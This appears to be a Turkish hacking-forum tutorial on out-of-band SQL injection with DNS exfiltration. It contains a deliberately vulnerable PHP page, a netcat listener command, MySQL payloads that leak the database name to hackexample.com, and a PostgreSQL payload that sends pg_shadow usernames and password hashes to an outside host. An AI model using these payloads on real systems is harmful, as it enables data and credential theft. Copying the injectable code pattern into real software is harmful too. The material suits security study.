Hoşgeldin Misafir

Out-of-band SQL Injection (OOB)

3W0NX

3 Eyl 2024
36 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba dostlar, SQL Injection ile alakalı eminim yüzlerce / binlerce konu görmüşsünüzdür ama OOB ile alakalı konu sayısı yabancı kaynakta olmak üzere çok az. Türkçe kaynak 'nerdeyse' olmadığı gibi, yabancı kaynakta yeterli değil.

Out-of-Band Nedir ?


OOB, doğrudan sunucuya iletişim kurmak yerine alternatif araçlar veya yollar kullanılarak bağlanma yöntemidir. Bu, veri iletimi veya iletişimi güvenli bir şekilde sağlamak amacıyla alternatif yolların kullanılmasını ifade eder.

Görsel sahibi: ipwithease.com


DNS-based OOB SQL

SQL Injection tespit ettiğimiz bir web sitesinde ki bu web site olmak zorunda değil herhangi bir web uygulaması da olabilir. Elde etmek istediğimiz verileri kendi sunucumuza sızdırma işlemine DNS Exfiltration deriz.

Örneğin veritabanına kayıtlı kullanıcıları gösteren bir web yazılımı olsun elimizde normal şartlar altında SQL Injection uygulayıp uygulayamayacağımızı görmek için öncelikle test ettiğimiz ne olur ?

SQL:
OR 1=1 --

Eğer bu SQL sorgusu çalışırsa demek ki burada SQL Injection güvenlik açığı mevcuttur.

PHP:
 <?php
      
        $servername = "localhost";
        $username = "root"; // Veritabanı kullanıcısı
        $password = "admin7r2"; // Veritabanı şifresi
        $dbname = "test_db";

      
        $conn = new mysqli($servername, $username, $password, $dbname);

        
        if ($conn->connect_error) {
            die("Bağlantı başarısız: " . $conn->connect_error);
        }

      
        if (isset($_GET['id'])) {
            $id = $_GET['id'];

            
            $sql = "SELECT * FROM users WHERE id = " . $id;
            $result = $conn->query($sql);

            if ($result->num_rows > 0) {
              
                while($row = $result->fetch_assoc()) {
                    echo "id: " . $row["id"]. " - İsim: " . $row["username"]. "<br>";
                }
            } else {
                echo "0 sonuç bulundu";
            }
        }

        $conn->close();
        ?>

Hedef web sitemiz de bir form olsun ve buraya "id" number girerek kullanıcı bilgilerini çekebilelim. Bunu istismar ettiğimizde (OR 1=1 --[) bütün kullanıcıların bilgisi gelecektir.

Burada bir bilgi geçmek istiyorum, Burp Suite de Collaborator kullanarak gelen veriyi görüyor ben ise kendi sunucumda dinlemeyi tercih ettim. Eğer mümkünse size de bu işlere ilgilenmeyi seviyorsanız sunucu almanızı tavsiye ederim, çoğu işinizi oradan çözdüğünüzü göreceksiniz.

Gelelim tekrardan konumuza, Firewall yetersizse ve web sitesini gerekli düzeyde koruyamıyorsa bu saklanan veriyi dışarıya çıkartmamız pek zor olmayacak.

Ekran-g-r-nt-s-2024-09-12-192951.png


Şimdi Burp Suite ile bağlanmak ve işlemlerime oradan devam etmek istiyorum. Ayrıca sunucumdan netcat ile udp dinlemeye aldım.

Kod:
nc -u -l 53

Ekran-g-r-nt-s-2024-09-12-193822.png


id = 1 olduğunda user bilgisini alıyorduk şimdi onu istismar edeceğiz, sunucu MySQL o zaman şu şekilde ilerleyeceğiz:

SQL:
 1, CONCAT('DNS:', (SELECT DATABASE())) INTO OUTFILE '\\hackexample.com\sql.txt';

En önemli yere geldik, veritabanı adını alacak ve dbname.hackexample.com (hackexample.com) DNS adresine istek atacak. Biz bunu UDP portunu dinlerken (53) veritabanı ismini görmüş olacağız.

Ekran-g-r-nt-s-2024-09-12-194520.png


Evet, 500 yememek için şifreleyeceğiz. Sonrasına sadece portu dinlemek kalacak.

Ekran-g-r-nt-s-2024-09-12-194832.png


Ayrıca MySQL için,

SQL:
LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.hackexample.com\\sql.txt'))
SQL:
UNION SELECT CONCAT('owned', (SELECT DATABASE())) INTO OUTFILE '\\hackexample.com\sql.txt'--
Çalıştırabilirsiniz.

Ekran-g-r-nt-s-2024-09-12-210112.png


Nameserverlarımız netcatı aktif kullanırken bende tcpdump ile udp portunun trafiğini izledim ve veritabanı bilgileri sanki bir subdomainmişcesine geldi :)

Bu bağlamda PostgreSQL'de OOB yapacaksanız (kod invicti üzerinden alınmıştır)

SQL:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result_version TEXT;
DECLARE query_result_user TEXT;
DECLARE query_result_password TEXT;
BEGIN
  SELECT INTO query_result_version (SELECT current_setting('server_version'));
  SELECT INTO query_result_user (SELECT usename FROM pg_shadow);
  SELECT INTO query_result_password (SELECT passwd FROM pg_shadow);
  exec_cmd := E'COPY table_output(content)
    FROM E\'\\\\\\\\'||query_result_version||'.'||query_result_user||'.'||query_result_password||E'.example.com\\\\test.txt\'';
  EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

Aynı şekilde DNS üzerinden verileri alabilirsiniz. OOB burada bitmiyor ama benim anlatacaklarım tam bu noktada bitiyor, bir dergi olsa 5 sayfasını kaplayacak bir konudur benim için. Çok çeşitli örneklendirilebilir daha da detaylandırılabilir, umarım hoşunuza gitmiştir. Eklemek istedikleriniz varsa ekleyebilirsiniz.

Konumu okuduğunuz için teşekkür ederim 🌹